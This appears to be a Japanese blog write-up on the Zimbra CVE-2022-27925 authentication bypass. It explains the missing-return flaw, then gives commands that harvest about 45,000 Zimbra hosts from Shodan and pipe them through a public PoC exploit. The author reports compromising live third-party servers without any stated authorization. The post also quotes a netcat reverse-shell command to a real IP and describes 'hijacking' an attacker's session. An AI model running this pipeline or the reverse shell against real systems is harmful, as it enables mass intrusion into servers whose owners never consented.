
以下の調査は、多くの研究者が共有したGitHub上の複数のリポジトリのPOCを理解しようと試みたことから始まり、興味深い驚きに終わりました。それを以下の段落で共有します。今年の8月10日、セキュリティ研究グループVolexityがTwitterで、ZCS (Zimbra Collaboration Server) スイートの大量悪用を発見したことを公表しました。この悪用により認証バイパスが可能となり、世界中で約1000のZimbraインスタンスが危険にさらされていました。
Volexityの同僚が発表した調査では、参照されたログの一部が示されていました
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
同様に、コードの欠陥はdoPost関数によるものであると説明していました。

このコードの問題は、認証がチェックされエラーメッセージが設定されるものの、return文がないことです。つまり、ユーザーの認証状態に関係なく、後続のコードが実行され続けることを意味します。関数を下にたどると、攻撃者はURLに正しいパラメータを設定するだけで脆弱性を悪用できます。
可能性のある原因を理解し、いくつかのPOCが公開された後、段階的に悪用を進めます。しかし、まずはgreynoiseツールを使用して状況を調査します。

CVE-2022-27925の公開から1か月以上経っても攻撃が続いていることがわかります。
Shodanでは、約45,223のZimbraインストールを確認できます。

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

結果を確認しましょう
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

データを少し確認し、自動テストに必要な形式に変換します。
データを解析してオンラインで使用できるようにします

dockerでhttpxを使用します

GitHubからPOCをダウンロードします
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

onelinerをPOCでテストします。解析したファイルをPOCのディレクトリに移動するか、絶対パスで呼び出す必要があることに注意してください。また、shodanのダンプを使用することもできます。
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

このテスト中、多くのターゲットはすでにパッチが適用されているように見えました
最終的に結果を得ました


脆弱性を悪用すると、情報の流出と身代金要求の準備を行うAPTのスクリプトであるファイルが確認されました

悪意のあるファイル gift

バックアップと流出のファイル
見つけたパスの1つには複数のWebシェルが含まれていました
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

実行中のプロセスの分析により、メールをパッケージ化するためのcronジョブがインストールされていることが明らかになりました

注: 以下は教育目的および善行として行われました
netcatのダウンロードを特定した後、攻撃者のセッションを奪取しました。netcat ./nc 52.90.92.82 443 -e /bin/bash の使用が確認されました
30日以上前に公に報告された脆弱性が、この記事の執筆時点でも依然として有効です。影響を受けた関係者に通知しましたが、脆弱性がまだアクティブであるため成功しなかったことに注意してください。